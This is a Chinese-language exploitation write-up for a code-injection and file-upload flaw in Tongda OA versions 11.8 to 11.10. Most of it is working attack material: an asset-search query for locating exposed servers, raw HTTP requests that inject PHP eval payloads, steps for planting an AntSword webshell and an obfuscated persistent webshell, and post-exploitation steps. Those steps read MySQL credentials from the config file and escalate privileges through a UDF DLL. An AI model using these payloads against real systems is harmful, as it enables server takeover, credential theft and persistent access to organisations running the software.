通达OA gateway存在前台任意文件上传漏洞
一、漏洞简介
通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台。通达OA为各行业不同规模的众多用户提供信息化管理能力,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等,帮助广大用户降低沟通和管理成本,提升生产和决策效率。通达OA getdata接口存在任意文件上传漏洞,攻击者通过漏洞可以执行服务器任意命令控制服务器权限。
二、影响版本
- 通达OA V11.8-通达OA V11.10
三、资产测绘
- hunter
app.name="通达 OA"
- 特征
四、漏洞复现
当回显中存在vuln_test
字段表示存在该漏洞
GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval(base64_decode(%22ZWNobyB2dWxuX3Rlc3Q7%22)))%3B/*&id=19&module=Carouselimage HTTP/1.1
Host: 192.168.31.164
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
利用方式1:webshell
http://xx.xx.xx.xx/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval($_POST[cmd]))%3B/*&id=19&module=Carouselimage
使用蚁剑进行连接,密码为cmd
利用方式2:写入webshell
- 由于无法直接写入带有变量的 php 文件,所以首先利用无参 webshell
GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%e5%27,1%3d%3Efwrite(fopen(%222.php%22,%22w+%22),%22%3C?php%20eval(next(getallheaders()));%22))%3b/*&id=266&module=Carouselimage HTTP/1.1
Host: 192.168.31.164
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
- 利用无参webshell写入webshell
GET /general/appbuilder/web/2.php HTTP/1.1
Host: 192.168.31.164
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: file_put_contents("test1.php","<?php class G948nsWJ { public function __construct(\$HvOQv){ @eval(\"/*Zrm5oN973g*/\".\$HvOQv.\"/*Zrm5oN973g*/\"); }}new G948nsWJ(\$_REQUEST['x']);?>");
Content-Length: 28
Upgrade-Insecure-Requests: 1
- 写入文件位置
http://xx.xx.xx.xx/general/appbuilder/web/test1.php
- 由于无法执行命令,需要提权,使用mysql udf提权查看数据库密码,数据库密码信息目录
C:/MYOA/mysql5/my.ini
- 使用蚁剑连接数据库
- 上传
udf.dll
文件到mysql/lib/plugin/
路径下
- 利用udf提权执行命令
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
select sys_eval("whoami");